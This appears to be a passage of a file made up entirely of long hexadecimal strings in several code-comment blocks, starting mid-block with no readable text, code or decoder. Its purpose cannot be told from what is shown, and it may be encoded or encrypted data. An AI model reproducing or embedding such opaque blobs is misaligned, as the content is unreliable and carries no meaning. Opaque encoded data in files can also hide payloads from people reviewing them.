d33e571e6ec4f7d7f3a9ea727ecd4f9336a0927f250dffa5c71278ae83159488c998411e2c5b558c129453e147246a0afee403031a642904c2033c227543911896e051de7391b952e9f23001084003b84ccb86d925d7d8d32e1e36b246032d22ae2ef558e2f8e9185eb5fc52d938da09092650982a5057c9cbcf2d332c5fcaa9e78ff881018895c0f85cc621cb80d6ca07c6c25e5183781a1b5b32f2555ea115bb56fac7fea48e36000acff0add5486f046e253758136c108ae235b28979e64fe0ff3d57610edc2fcd921514aef8c95cea252c2c6ba8fdc1cca361aab591bfc8faae30f3f5b8cbfb1cbe0c73b533d3c2c07b49d083d6fe0d329a6d95db8ec6d1a7de4ae8f17cac91b9272d6674977adb1cdda0d0869a401becf9fa822b674a31777a3a084812cb570f7ee041446055d9747bfb3532eba9e377093f136e862938c1bc94a20804186e7c36ee00583fbeff6582d7425f77f72ac45cb1976a0b9a76672533567e8d45c1aecc0a985eadd863ced153f4e9158af680e28a69ab19110be704e135a67bb0edbcbed9814c453752b9b7e067d2e158225caaadf42f5e2dc52cce3b629c0dd185f45b13257d52014499adf333c49b57c12d11de75bf385742278f582594879196d20c03646f7b6f827423ff3a*/
/*1dfd935e369872b9d2590183ba63ad20ebea99f54250196786003c474e36ee849658e8158dfc06f9fa74232089da46b066d9a7d826f1dc7ce0f0f98a1115e8c32dbd2dfa2c50b80dc9d5d54ac49004b964e31f4ed0d8f3023b9e0bfcdc8b65d3fb32378ce56b3ab556102677a3a14baf22774549a7223c379a1387a27505544ef4be0384e779dd3634de4c5ee1750caabadd31799b5cd33e54131f0a88c698c323e7ecbd40762d1982efd88b7760c32cc04815a817b9255c1575e9a6840cbf679dcbf5cfdc300506d54e0364b1571f2dd6636f89be0313ae480f1d06b3b89e4cd1158ea036c9db420006cef4e7bdb7a374f678ee7ea70ea2d3deba3231d3a0a99b7f1042ae6edbf7c04571868f16f7fc82c5e0c19077932369662469f53305db3383c93e74afb901eccd4ef64b34c975331472b24b630f43e8669df4ae4054fbadbeafc0be225797b5b18a4b57bff5bfb01d7cdfc83524bedf71edc383f67da6f98ea4c11b0f168fbfd4d7ffc6376bbff5845b2489044a510f9d2d86fcd5ca18c646e1a776328acedc370130bcfaf75138a9a6fe2095ab9cb4d4bace5b8552e2c8a3114efa4e28d3188e5c1cd7962d6f2cd61a25d76bd44854d289c9321fd771fcb325c378861b567e1cc5f135f294ca7a2d266567b1abf76c6338da4b494d1e9b1e24f964646f98d7a4c0ca605b70f109658d3ca29552a3278d7de40290e45941ee4861a448c26d6ca33d13cf1634c780f934e23fdeaee3b02584ba57513becce3a11d3f4b225726855645034d60462689c14adf77cf981937b1cda014ca0d48d1f84b43f4a62c8efbfb938594d28c33fb220a58a881b5782f769b1e5e8aa145230a3f1eeb1b422798f3d2a84a9ad88e5a721c30f42009f9ff81b5cfa23cd75da6cab6cb117fcdf23a88c3b4d0383006b606e169bfd21e68cc0e045bc7f9cb0ef1b34689a2983bf5351adf0e19e4417d47f1c3a0b9d755b3e32cb39334a949d2c71180afe69f8e1fef999cb2cff04d45f14599ba0b15cb723109f8ba04b41b092bb84d2a737544f482c2dc704d8307449185b789c8f0908eecc91f3a68da6c1e92478b4351405a9153a69b5a8dfe58e8aa180cc484729ae317f6c7893fbe551f9e67d1b5d5ff43dc680780ab719b5ec8c5d43c6b5949cbd2044c0dfac1f08557eed73ad39b6941710adaa1afef9f6bb52d0f5380657e6dfa5b11e67d97e3902189888c182f9d08ef2914e397075a32336446bb613a4b32bf65f86f464f42384c47c35740a5337a8171daad1d6f480827385963905b4670d302e06a9990c2b9448d4695ae5e4822842e9e1090490a7caf1e2da148d97aad714c445c0c34544630222ddf5526cdd662f511c3a9e9f788fc2505981cb7d06471e522b9b9eceade1590802d641e589436c2ddf732a8932ed47bbe1645448114d0f5c2aac201647ae26afdb18252428057229f5e186b0a114207f1f7092c1388b582618ae9c0c4c125ee77072f0f36469cbb6313ed53e006ce0bc96d4ae484c15d375ad59dc2affece85b6d5d15daeafffe263a632222a713f4df287108e01c627dc1781ea9fcaff9805c82b41ab46eb1eb78a4840cfb95eb48447b66809a8ea777a77d4e417c03d2bbc5feca4b195ced1a297a3e68cfbb0fc9edbd5ee10316abe8b466e4e4f002c91aa182a09fd28494e4262ca7226bf7ca41ff5512ba7481943fdf6deae7b9786bddf331e58db9db64992d49c8ad7c5d5a13f69b569cd008198740adf50e2b2f7c91b3b34e197bf317d8a99d04764961ab67921e61694f54129526d3564ff44d02e04b66fb90681fd3e2d4b2e78fbd24adad0db40875426246e8bee1ed24fb0f29433bddb07e18c2098845a7af474ed5d21dffb6ed86c6a4535a9412759319606ea9b53fb9227e629c54ffdedc5cd3e8c03aa4873a1d53cadb9270fd36916a271537c388c14e8d4a047f7807ceec11721183fdba0c694cd6e2b2456462f2ec5c16e68a53bc9afa13b3976b93033c33e8976238f2bd4417283cf6c198d131604a11559dff28e010c1ac9ac4ee5e4d259b6226e679ba9dcca10c2069ac6d50d79c415fa1bc7aa4b02a6dec4e6ba3cf2ebdd6c5bac26ba9d835daedbee9e91327b7e07938fc18aedadee474b1bc82f577e6c662c0b80c4056de92a1c1cd076c25a7806c6c291ce23294e47c234eb5dd3fb664ca4617d38c9f649d7301aa01d42ca295ec801a3c9e1c01f368e8dadd826de8508af619a1dea30f3d0b8d855425cdae9342ecbe6c5e8c238c674e5b5ccc5e90ccd9b2539c6e0ba8ecc25b6fa9c02470176a512a4f4967725bdb21920b75d9abc569ba2fb05a5ef0f75bc0300360ddade22b7ddb9eb3b3c0456d89df7753154510f91c5c2a2ce6fa2d8d50b56d9616512eaec7a5ee196d62d6178066d6096b5dfee63e5a133917c464ff2e1fff5850b438634f49f39b988bff57ad9d7c24e694b4bf2d6ee70c4b083cfbca64b169584a6bdcf4fd65667e52e2560829da317739aec9db9901a7a79a0e0176b577b4a340fd9452d7a89798fa60f3c507f68a98fd99b3e65c3088b749c7d287f4b189254b55410f17ecddff50f3196817f155598d2f3c1be2f63156f8ffffcda6f18cadfe5584872ec21c622028a67466bc177abf61e83de2372dff449eac14800a7ef173756a1eefa3dbdec97889f95be88cbed18f9d9d573bdcdcf73e486acce26f147cdac5f040d83de8a5581c794984332666a41443cdcd2d5065df0a9bd8b943b291905d1e4e238cd6bfc0e508aceb7cecbb3b16ecbc9a63d722548bd3c19ad112ddab37341b7659a086c1178c27ac401af669*/
/*e4b2e43e2a6185aef52235c6aa47e32b9ee346e556f118861816262068372c12fcb5a4cc17d4663d82f6c698ebe0c82ca5c155edd091a8d94bcbfa84de76b40da7b00fff242800dafc98f5477ad9d17d6a7e7dfb17625abd4a3af9d3111077dc6958090b87305ad34f59e43f4d76a66fe6fccb565073fcd187e51bfd6b6d97b45f953731f4965d4fb8603c44de13a1ccd2369883184112f75280d17fc9b4803e157ad1cfa88f5fa677d114d349c736f58cef4132e30b221a1f54f8e525eb98f6a2f51a767cbe8f0320d805c1c598acea44f06875eeb22611b2410aa47ea4da4c79e02ccc8d077d703502254c55abbdeb331c16d0051b596861a13d98400b52052d044ad229fef13266d8f3e29f786a6f26c27674413342c55d87298664a40635d4bb6a0675589ddfad718324d1d877c6b0d9b8a90c9b5cfc0897458016300b2b53a9a1b694834c508c448c748074b7b03d23867830a81f70cd7c5ef4abdc1d2f2a89eef74c6f490befaf9eacaa8b606ca0a824b5c1a36848457e01894b3ff6aafc641ac83d22ab209193892c523e83120c018f8928957eb8ab5f84df90110c48045fcef437a436644b815d280b5c2c9f9a8fd834a56faba411dd281e86192c8ff4dd6d23177073ac801b854ba76cfa754a208d89c26c729d73ba77d2181aed6b04741e6837f395fd1d760a356c831fdde935dec8c15ad2ffa4bf285eb2c563d72873496a82d87e1cc12c0837a8deec8ac9d5f9c7859503d3a44caa60ff23e7d555b8e5351b7152d0a92893dde83e1784525a094864675c4135fc7e37844c7dece5f36387e51dffa4c7d5590175ba4e9c46255b74aa9af039b090a9d0233e6fcf7eb3be2c1505ecdd6006cf834a0b824e3e299339b2c1e3acd4645e9bedd83e802c18f357de5f8b65777c7e18e7e604075592ebb180bff9b43ea4f89471af0bf68a554317bd1510e5d97d6fcb25e95e894e711bbc80a3de04d9b4421159c18ee8110c634ed81db8ba041ae65da71f26b6b18c99cafa57a242e20e27ae10703b3b3697e1c884b637c5519860d0c8b1057ba6d2c9b69a57f1c9b51c7554c29a1342c6113c5e76393769f69f77a7f9b8f7e7cb0fbfbac9ab0ce22aec0ca1ffd65986bc61ba8ecb6c6bfe4ce403d9b20a5d387dcd2ef972a2c924d0a9147d0e3d2fd6124cadd9281f747bdbe8f52281304477bb855f846564c925f587d8ff5d40876ef3bd09afe9cfab495bb3fb5c49f1ebb4ceabdd3a852abca91a8b92b706c6f958206e0fc74b78c172055291d7a6d5bb210ff494ef00dec79aaf59f1c9cb008418f06d4efae47ec78738de297bced15c40f501c5c9aede8e2b33d8c7b8610b3fa2beaf236f86d535e3619219ffabea72263605c18a2d3e838352c60d6489b08d7b5f854e8adb22621d7ad5135f2cd27df7b61bf08963a21b848e2f74bb209e09493db2dbd0d0c572c2063ebb75718a5913552fe15c056d24a80b408e9ce8c6b1b2916fae270cf3e962e1edb4f66147711b2dc335bb7ff3cdbb4607decd7636852e935b967f9b88f7865d020ed62f24b5fdd6e83de227a51173c9dec8ce19a3d3cbf5831a4a6f90dd3e6d3553c67e6d36febe6898ae252f1850e10f76e8a6ebc35e02127d1022e28de597f3a584255d9a552e042e7c95e5c75b647814fafdf0c0245493dc46f7f1834810494aada6b4de4e205669ab4ea7692971ae4c45319572865e8651852116dfb68bf2bf398385a66205221f0d1aa950dee05259f251630a4ee721915d1c1819db1cdee41e58394e86a107c4501c1ceec0008625f6d29a63c8bfd343f79c7f66c5cfdb6764a4bf41dbe454c8083d4e0ff9eb8ac1ebd2dd91a9c15cebeb4545bf385a53f51c405ef09cbc60fe13fd0730dd5ff537dda7f1e0637e02361ade5709b10046669dd152bdf263fc39db9a4ee270e8b73db25cef6e1662b889e12742718f1b329e4fa84069726b9dce5ca20ec957ed1f7d7c4e70a1eede8775f39fac916e4c7d15617cbd3c7f6de0a875ea446a1685eb9085571bf9c22b3ea93f9410845cfa6c3b37184a29b548ec95af9954563a47c46d261cd8819260ca5242731b1364f065b9645e4de4c498355109c2202e6f039cb9517735122cf360f3f39347d766fd3a50347ad8b3c0779618bbe272d63b22eb298b0a4ed7d0eacc2fed37b8a76b7051b0f0dbf97de1fd87fb7998e8b712ca8b059e8789801f8a8ecc35a89f75aa1686be68126272e6bd783e7d2fcf0409da75f8cb636247b5c1c91df296105070b386dafb772005df0fa04e5095937e2f0799f60f88dc975c89713a2dcac9a733dc43290411f3f235a8239ed291d6148a83e4ab0f03dca265381efbfea73bd0a859956f663eca278e1292dbb9bd782e263cdf38ae3a0ca08a14bb8af5485bc1224209735bcc83865bcbcee475600cc83c26f9c19b4c20e31a573ecfd5f12426630e7c35d1640c986ee5126a85ec3fe33511708b89b02869d8ed86cab5413ae3544342e434e65a242928f5ea9547cb8e861e20c68ff0b16cdb3c5775252bddda988a81f0a3eab5f2d95488d9ca5e26f73aca83c07f4aae34a01ba33680cf1242cf0718e330d1db8edf87acf2f9384b395017e2bba9fa2ccfec171a26ec9e2cad2524a9cafa1bdb17ea5af232af119be7c03ba612a6a60cc7ad4512be360fc1d10eda853d85e6cb1b78b84ce7ea8554fb2da011aac2e5c5e0427a5d7e9a9519c515f050d8965f5c673481466ddc83fc4a842dc5a40c07dff8a6d48c8131ea72f1a702730b2c7f9cf53aba5f744422399811416b3b4ccb0c4993a6af202a1dd07f7f0fd113813bffb93e*/
/*0ad126c2be74ab3f1ddd20fd58654c5611eba8284bdb2830cde5d0d1015fa98d3798289298efcdb5c409de3ccd00049ae3bb66877cc517f1a8261f25c3d584e3099bd99bd227021852abc10b60a0ef5b6400c611f91501d455f31c8b11273ae36b2978b79d2c02d345b59b29f7267ea6f5b0b2143c7792c4922ac1be033505b41d3c5984ef5d7dca7cf4668e97ddd66cd72021b9c361f6051ce7084da4a7a9638ee8e96208c37ead6eee4140d08d08c978a96ae2beef63fbffd10b0afbff18ea3e3a372453f4dc53296c9db8e2a0d85481f60ebc652f68a5ef7f40e0eaf7a6b01ee2de13c35776c96bf8bdabd29b97bce51fcaded8f82d99a496b8ead279a66d493390a33fe7aba44c9a061dae7864d87d05ce33337534e53503452c938582bc165970488a29ec8fbb8661d8deaf3d64db08fb9a8cfe596338d5f3bf5887a763f8e2f26df685443ad934562742f9fee6680e3f74a5f9af929ad8177f7a2e51231d428309d93ebd64f1ea1831b262b10bc732d50c54d09d21b5e81d1ea5bea6c43c2667b571a982d842b5a921c97fa6d387e5d8e6d9bf6687490d4773f8087bb2f5228a268017fde42056f9074d34370aa6310d73029474e816fff3e8c78af19351914cd1bac7218c4903359f865e72a96f899e0430920489750909363107dd572a6d506e4ca0a3a3e1b23c938794613e1828cc4f3ad372664e5ff9fafa184280a011e05107fffd2a0478ed7952343dcc65afc341938c4006a44b50ddec5649649b6160ae6e87116038f134f6875181572a84dd06c1009dc464b5d3f13a236cd59f2340a22ca35928158c2bedf1fed734a1ea7e821f7a8f247062ed5902441041e19eb39bc86a35bb3f57d9c71c24843a7bc2e22ba286e44c8cc239b57d23e76ee99f34f1f6a4f3cac8f7ef6ab4b9c595a185eeb58dbb438fb5b4b5c7276a08b0fbdd736115bc317c3d2d4a2ac9de3a08a0ec98d56cb88f46efc62c7b759618ebdf65135814ce44ec4863efcc7bf9f8074b421cf41aef62a9ef0ded8c66e2544dd08d16dd16faad63820574e5f406dcd4b3471e5c9c129cd699c754c3fb0c834939b3da5f795f4165e85d8dfcc7d9b1986b72b35e23ba8cb0ffd11c5c2cdb000048e3bff2d94e4fcc5dfd41bca6b423301db5407e863b95b94b435296baa0ebac4c0e25f96ad853edaa9e12c30ce1b7be8267ee6676acd37f97712f09c98cdaaf8fb5f8accf0cb0bf25a4971df9d07ca1b5af6ddf08abacb6468538bda85663f64553dcb8d0ec427412561e1cae8f8bf740a95d562d8e167af9b1d48ecbadad873c9a188b9042d2448899b4deba8671a2ca3214c8a81c7399e7ad18a98ff41d47a57a0c89f4863a7131ccd6e39588449fb2b872f58e49bb4da49b2db0791d33985cb8cc930d5d07de67770f45265bc851f2bd9dfb912ced2fb321c21058d484b3fc0de3a0a4bb4074d9f6012ded3a499fee3dad1417104e34ac79c396937497f13891b918bb4ca7a39626f8aea8b97ed3b0e6c543501d8a8502e483ff0e7f4f1a2be228dfa9696be28bad138397484bf57456506b0df3cac1871048e1303ccbec273b61c0fa4684c680e37bf4b6f70e0ec4f6b150d6a16259c9e86c9f74a2751123ec92e13fa00e2c5d10da3e2a2a84e592d9b2028f598535d58badc90682b01c33bb15b2bcf214e8679375043d97b57d165b8da36f3625ec9b92d234078d4a6b35b436c04188e8973850165e1853e78d5c2a9476242a3590b14e775e09f6922fcf3c451e61d9749c781dccde21e95cef3abcd7ce2fa58cece6e3d3b2babae2ab372d0bf4e8644cb2fb6b833a80cc610a6241c223b5556ebb28b41ff70ca15ac28a1b1c0f9271bbf2aa6060977d20414de6602caae35c15c4da9dc74d7ccb6a4e3604173a560346d1d71c06f1772a8900f9b17170d83f2093d2298eb087edff20213b8e02ad44e4f7e7f0bcfb9cc5087634f1a064296ce4b35b0cc51ae926212cdc1486925d7f8f5412b530a05e03589375958da526fd62744a62af92f20f6136590a464a83c263e86ee6cdc2f66d51214027f23b901ebd51cd57b19b225cfa4518727f780f931f9002dea5550de49091b3a03771520f26e94750ad6230ba4a76aafb3cc6cd9c77152eecd66bdaea421bd0ea2becfa57a089d1afd67901ec8061159016abb2b756a6a4e1a6161b2cb6c923a6ba6b5ca20eaf72a17f40134357371bb3a508d6cd0f536a00c31f4a10b403ef250f13a02eff13e78c395d34aac12c233583fea03420f6e2004875b496b7527f2a92bca1ba24d2d75a561bea4c9ad6beff666e4d897556f551502fe41b44da9ef04c0bc9747d422f071951b07bd052c3b7ac2bfdc043ce940025e5b4f07cfac57b98c87a597a2d4fc4c16542b868e4f866681719ab2e8a5adfe52ff9fd7b5c75d3d5bbf7ccafdc59ff58168a07f7c5ce39e096b8f34b7c41bdd343dee4625fc051a5fecc298e15dfd0459ac6f2120ed925ad0e062eaa0632e2deacca03b5115528e4e5ccf171a1ad06387df89e54a7b85cb136c053c7bebcfb16fd0c859b55fae916f4413224ebf65beb9f98b773ae9565c4b6e23780e596d6c571fd159ce223fd3ae1482c36343c05ea909e2266362fe7befb5dafea1f07853f31898f45b28d3f5e2ca3e4567b674c23ee1fc2691489955e238c92df5e2cb21e25b440e0956c0841d11870fcd88aee3f886ba3e5e536d1a3d18d8fca5009b24ca1ad34dee42c5f2f74e3b9911246b9af06ecc6d223be2244d45fc4bc32c73611aaae211d0aded7b2bc2b4cc84020a2560304a93461e50c9c346f1362ebae827334f546eff1*/
/*26f5c501b9c5e6d3e493a6808a08ace11273b5c0f07d84f1dc787fccb922840a6b8f241346385808bbe681a57a8e868d437e1374c51c8bba3d8015b3a2fd065bdcad524ba31b44fe6bf4631df8861dd092d686898bf814384450d5b62ade831d63f71152994e8573f9960537ca1d349904a328d71d751b44eb0941a511a4227193b39356961481a5c9195e95c1699fdc6ba9e306d2628454363ea2248bf5cd178cfca40a3544627ff0149da4d9247aa3bada67629af7d8f4d476cd1d371cc57d2d57dd89fe08c08e9ba385b69b1fd88e934fdf8c743bebd00c2afc61b0b08279584230e5be0010692fe7291d3c38e3e1d062c4c584a898666d2af62570e3f2fd81052c9ebb84a8bcd8468edb971c0e834b5aef6ffa0e000e344ae400927f9eaf3713fb2f45eda809ce55502b1cfeac47f8e66f34a9c7c65dd5b51847a76bc25aa77e4585ca1a11d6b67e28adea92f0258b7f77b931003a5158745a76ad6676f82f62b0b875d45f31246f27f61686b65427df2be2d3945fad5171202361b73376c89c16267d8b9e1c9f6dfb19393ced6c3dfd2013e15661896ed1f2c50fe3fcc7d890c13ad5e4bba773fd2bc8a441da9e362d8d64a149e1fa6c9a94f7272f17560c843c73013ffdad6ad912fe1486017b88adcb5b14a3e415fa740c471c5eba6b751c1d5dd076d5a31a89dd466983f9c033e5fc01823a23f57f934ac5026a4fc74f93017005f6e9379c502ba76a505834b76898e973b49d336608c9f71aa127deb5058957a0f9f1fd3ffebce50207ed19df01c720cf8705fa1b10c057170252dbb8fe2d77f142416648aae9937f412b32cf3dfca8e692d6464994992b55ba847153b3ff8b7b0edc203947df4f82fd5406fe6c7a2826630db46c6faa015a3acb630dfd7d7a06efc9a4e5c40b9388a283e1213809d305a3463d7c74fd4c04da79dde074bbf1ecc162c4896b6196b6caaf258a5621213cc3f54e14e3eb20cd50faf5efaef1257be59a25f31a33a4c0c602e8cc3d1ef8d7fef77bff9be7bca9873025d2ca6ab35db836d17b65bf5ec7dbb03863b0c33059c905062eca8194b028d702c7be592edd60a289a70251f7f8d3a34c1664741502e14de048687e35b59c5a8f87cb88edf61f8e4f34fa6e98ff843d5f003ec8c0df4c12038ce2af7c102e143c32b3c609f22730a99d4b9a4a0c706e1e01fbcf2b1a3519bb7c5ed70482ed7cf26c9265da27218e93c4ffaebc9790253a6c1125cdb1c3b2a9d2881a864894be9c15befb8c679f094fcf80961e6ce4793af98915f28a4105fea3b2d0a70419d6f58e68ce2a19ca5239483edb223d15607b98922c19dd74646dde81c841d5d9d004ac6a48c9474096d422c6cc78f0ddb7ab51c4a89ce82a3625b04635328389e5922703abfb5da0c24f8be6cc60472e27e4d8f086961a95e9b5c31c0c393584db608ab81c93e4bc0a752f9f43c610ed91234761e1407a6d9e67747ea490cabe780de99dd9b7cb6bfbbc1b02b876ac5674707272257d05ba103b4fd5fbc16fee352a836b8c89eb1611ab36a4e2075b59b8386cc73df4d3915892e3c2c8cce9685e22367ed335a45e31bcaf85e33a716237374751e7f6bdd2ac1baa81d5301f2ea8de6f285efa7f9db0f0431f21a1f74c8f8e45e3f3e7e18c992c8113c44569d47ce949ef074358767879860fb8fa0c692f67cfde5448d82574df34eb356d3f634cd887185486d370f06296ddde1b1214b2ed8874e4508082f5391d78f46de8874121e4c7ab353c96fbe550c8d2c4f8ea2d12cc92ed276fa8a8069df203fb45711482ee711951611e042f5d593381c377ed8a37cce6470b7f255463471ed6a5be240ade4afccbbe1f143d5b743b56b477a008b128b657a15449588e04c6e14fd1af420536b3955b2122d3681ddab3eaebbbdcfbc55a4fbbc45b78ec05428ebcdb51c653aa55eb1c21d1dba474e4cbd3305792c57bc8517647ff29f7bbff8d3eee349d298ef0623ac6026e75a8c5bf2012fe122932e798604a1ca638d98c5dedbec7d56fe90ee54892302e50923457c8cebafb26bebc4ac51fb114f314f693ce6d8a69bba71d25af0234eb4c573e02f5d29d238878fe6232015fb613ce81560e342d6f51d40440f39d39ab552b254b760c42f6fd9bc2611e8e9cf61117b2d8ae4f7887ccb3aa0873f77e7cdf277c89f3f2295cba3d4dc88f86fcb82e7b28cd9cec5396b3ced4a80c53b5cfdd74ae258150eff2e1b9df71da8119cb709424a2fd70cdbc04bc7eb76322b612889be7832ead49483c982b72704f8804e276cabe1f81b8d731b8a52306b115cd2ccd22117f628d09b794b245cee0cc5ae4e7c02ac93ae5e1b75e992f008e6e571263b23ecbe226542102fa1c78b498170c1ebc8c9f162fbce578ee979fb1a917fb7938edcf30aea8bd812cb065d93f3fd62b39a497216d37543aff7532829e45b161a9e0dcbcb8da748681a7c5d483830b673c23fa8ead8ea277bb74a7a0f589ea375a0d026539f3f4da3628cb85816fc5ad2998e04a2e67983b782a9623d6bf2814bc7c150d38bfb2a00a25501873e99e1bd8b240b2c9a2ff3ac0ba401e5013a1c37d8f5fe51d9f09122c6fdd35daeab55d09fea05a364c50a2d9c1280eddc4834fc4f2caf5ee09f92b8cb96a47e13e7b0648aabede5475251a784201fd20a4f396169de9bbdc0141a6180c2bc111fbb0a0d5b83d3339b47f33226edf4f93f33a73acfde4a3e4ae8cb5f107d7e07936643266f7bbaf12f241af7855aaca6b166d6912d9bc980e8381503feb66ca5335bee183096e6b75e84a725f1f07f95bdd037eb707e9d94147*/
/*1360e28a2b1d311ce306e43ff4fae46ed6ac01e4f1eeb06f2e18a3d5594fe55308ae7c5362eebd401746fb682d2fb3a6a1c0eb81b2d12f461ef2bf9ec81a37bb7557befbdbd0dd17376fc177d612f4ef94813c07274136d336459136379cbe3941d7d156a871bed830d60ab33667a6e6f39baeecd302b1cd32795e1120e4a9fafd56c7a04c9b558b9f36847f0ef62ae2d70cc44e1ee2c97751bd2bc125980682c15c3c55f6bcde1066972f58b2379bcd1e340ca1d61cff9bb10ccf6b4811805ee7ddb6f2b3e4b582e29149b20302a607f6aea771bbe64f2dcb54b5850d44e839b20bcdeef6924a64a98b3e9456429d3ca10416efc0363ced58d0f4ed0110509ae09bf283a12ee159558d8330599a72ab7bae89a6463a5fd3d7568188fcfaf6b89513073cf6d3840d9de9f2e0fe87e52883e753c0ca1a141957a891df3cc090eb9f947750f0d726a73af9e061596479acea682921047dfcf31c08c32cb303f046332ec09eafe241a9fc073fbae0666ee163bb7a2d9c9ee509f65d21ad4b0013ee3df9ec8cc98a39e2264cfdcaf8ccc49fabd42833752bf3310adc961018f1fa091cf74ac88ab004a3c88babdc704ed84d92e165c19195ddeffe39e955bab197001783e2baab623851771ab1033002bfd3248dfe502c8b40a970baf271faa3fbd63b6657a0713a693be53a73edc027a749072e0ce0fafcbe8b1de6a4ca4ce605207c0e44aadbf7c46fa2d35d060f848d8edd89234bac1583e0bdf46f72b579054cbe9f5d988b79ee361e10d928cbd4ed9710484bac42bf59c6b4d4c0564c2d3b2b068bb64be649186b83f37824dc915e92ae24a5cac162d9d04614d6d56c0aa9340a8da849a60e4f17656ec20812f637721d6edccb7820995ae20a1974a7eb429649e6fd1f38cc17362a95b09c380d5759f3d0969e46ccd9cb4fe80f8f3d6e6d16d731531fdffad37a268885c052ef9706eebf6d7f3761ff6781c0772f0faeb9fe2b83aeb2ba6bd08353bed8d559d6206777376eee040844c6ab458e3b34ecea441af1cb192bda2a4950c7b920a4426e23fff77dab138712d019dc0957cbb9a58e9ad4d41b85d04e102781d588bdf2b7b555c681fbad06ddd831732892e952348e10b6151dbc1ed7120a95ece2978cdede1572069284f8702927731aadf5d9676650d4518082a91e931955fcf92491e3a95d041aecb5a2a2f4dd9220e58f6af3b743c8d824218d25467f149babf85a532d934fc81d82dd574c0fc9389e077c3a312c1a5f954101d2ca5e75059d1485264c96a8b95582229bb175b93ca7786553a068e0388203bf4801250c70f25bde826e4a0465ac1960339f2c72ec204c5e530e907bcc1e5dd3124e440569905cdf91d559625bda26cdf884d08c3979d42d173403adeaad135098a399d7ccfaab445fbcb6fe81ffe8b641494b9257704f76fdbbf54ac31d7aa866244a7b482c7a2382a360e03b250733c141a33f83cbe770e51901ab47d664587191ab75fc93c2308033e185d8959696e60922943676fe8b4af5d6a7e3b2f00700df434abffdb2725ae836024eda4cfabc00d604d4db7f35587a02f53dc3ba9ba5de08079081d033aa8460a1d58f061bdea350d80b0240bc2ca5f3cc86bc76ef1c9f440814f0be33c776202027ecd335b99be20d9284a419e39f0f79c58112fa02b37882381e42d5d02ca16fb8458c4d6f8d54d50a4ef8d6280414cb1bc48e34dbe3f73a3b9b04fbfb26fec9ee592704e0ddab13808bf39b3fa5655f887fc31574dbfb6774768725d1d6d84d3f01a41bb007f01a0b606b05943114e4fac377d1a5b07e5c6b99950df9539862a74416771e76b18e1e727c48359af7980c27bdceb87ad0f40b40e528945469e47edd760b3a45f8ffcac5cce340855eef74cf03e1d5b32340a2cd54858ed935a8c58811384e690b4702cd04dd86ff6a9701ed843d6d748b2322cd611f5b3f233cdd716907042005f6c66d4769197bfdb7c12dfb40d76d2ef1611ee78ca0d94df8bb99cd79f9d2b2fbb1a904d0fc771df31745b8a042138a1fca6710855b925115513fc8b1689b0078851b673e7230f4febf0c1322799fa35196baf46d3f651fcbb0906e52b6fe573dfd8d1f92fcc5308e73aada77c5c1747a86bde74f1d50859a047289609b56c7783b61b751ee09ad3adaf588d1d68d22309e1096e7c82cf1cc469e6c86d1d634924a02fcb9fe53123254658b2984bcb8a62ab11935904ee634976c7c2bb66476ca0a365576d8a6b1cfb9cc324c3c3fb20eefedc40a668c5a51f2dc180bfba6166131f4b182ac79a3e56049a7901fd956975f6d508c9ab2dce3839c070e56169720e595061617cd34a3b75dd4e88324fcfd94e95174c27c2844042b61cb2e2a2a68060bdf4409e63d300f7525e29e5e0a7a4583183d370fbc059e4bd0103f7524c4afa6e06ce20de90bc69750b51b9e1f2e2af9a12558a3e69db56e631dbeaebbff73277ca8a7c4b83c8e1b810c195e598de77eede50c78082e3c8e2b2800a152dcefb1230237c18ea69de5630e118f1a6599f54b5e15a548536b50ddd696f075b525b4f7718c8bf44d1bef9f912ac7ff68110d3bb100c9254eab7b794530bfabbeb2a347921d47b50464684fcae3c80a14e6da122b793cae5933d53eb4ed89b17b87dda999e7c7dca995e620f6df8f06af5e0f8cebe53f0bdcc71a168a0d337f0671e2b06edf646a77d3899acbe31e685cf35817f2fd88279c298e068ed849eb4438764a99d2f12b37bcaeea348d530b795657b1c94e643498d3fc46f9e6926bc1700e1fbaf0d9cbbf93b7188f40a266af297e1ee4454b*/
/*7e68c1390dc039fb8e6f8844996b7a352a80e9a10b6ebceacb82bf82be09044adf12124532fc74c26fbdfe57e50f31335e2ad16473b9316f0eb71614583a8f362bed457e2a345dc310c16e3a4bca8af343c8d63d889520f3b4c2d2b63bee114daeaba31865704431c79442af194e4d0755c098fcd66e8df1ecbe9887c9150b726a843c8890449a45741a46e6638f1289953d5ac58d34e0e623d97c996bb1e7c1ce652841db4e72ae6cecc31da6d823fba5db1d6e979062a92769beedc3f69a6d38398ae1ca0261b5e5275da9569320e51a9764f75b9d7a43ed4d7c927971ffb150a7232d2254eb2443a1aa7af957d97d2d7f95cc40e5e0371bc5a9b757f2f6b2230560137abf8569026f663f74783c11a017723182368996136200b2a12492536e5d8b13be30a21d4234d704a03c9e8a5d9a095265c9fdefecd51ab845d0d1fe6fb39922b4136c703b38d34e2f8b93a781f74535298d554d516729c25a3b97992d1210fede30e6278906feba5b73401a83c78f4577cbf7619f62df9d76fc3c54b14ec09a475718641d065dc9dacfef6dede17347a11307be3844ec8f74f6ef43dac2e86527b5905143720168e35ef034480490188e5aa8d8031808f7a244fbccbfd8595e5893008eec771b3f717cb07b676e48dc658c9b3337c24430b2c557107b9fc3b28177238d59cabf96ed203cdfaefadabf506f87efa1a0b9ad1ff3d0fcecaa0509c274e0a352d8798fa1f6d7a9b43d14288c88b946e75ebefe9ffb2fb1dae33db426d446392f43c65a592fa8129b1d7536f6d2a4a167e79a3ba03015902e9d7681f845cb1a9a73c2463dc47b66edb84ba5760bf4bf6ca5495c602cc693dfaf328e6c7998d9459492f6134e31305cda5933c10a7f3e54de817c1e817ab88f631a1815ff63152be2c276cf18253f6e51e287decc49877aee3d3a1f2944a13435f75d0830f057f265bd0b67f7b2793b40e77ea2d9871c7ee36f6d0fa2e7d1d8ea6b5164d63c34b61a640477cb7025449829f9e00eb9d4a53dbcc44c1cbb6176c358998c1a6d83e9b788190fc02a7e116d87302386ec6e7abc6b6113a0597be8323597c07b8ec3a6c1ba884444c9daa90950eec92a612c4e4e38814ba62d63c7ba86d170a5083e3b295c71f4ae6f4de1f1958fb2eb5c7a1292e5af36c796d10102f174a32635693438206cf274defd5f8c76905619e280a9aa282b55995636a07831f7687c03f797853d1250b0377bc6ce4dd629efb17816add7a3d0753447de08ba17a257d83d1b11baf32f94f5d7f0a730aa43ee61776a0ff7037f656390b39ebc77403fa3a1c460310cfd4b88016e5868792b92952e77449814125084a14166dfb7880d683d89f7e96011c548863d07434a0d383c5b08d8d40d66c593dd9a9168ff42ecae79f22d92341ffb9f88d5a37ffb1fca6cb29a56aac9438c58352767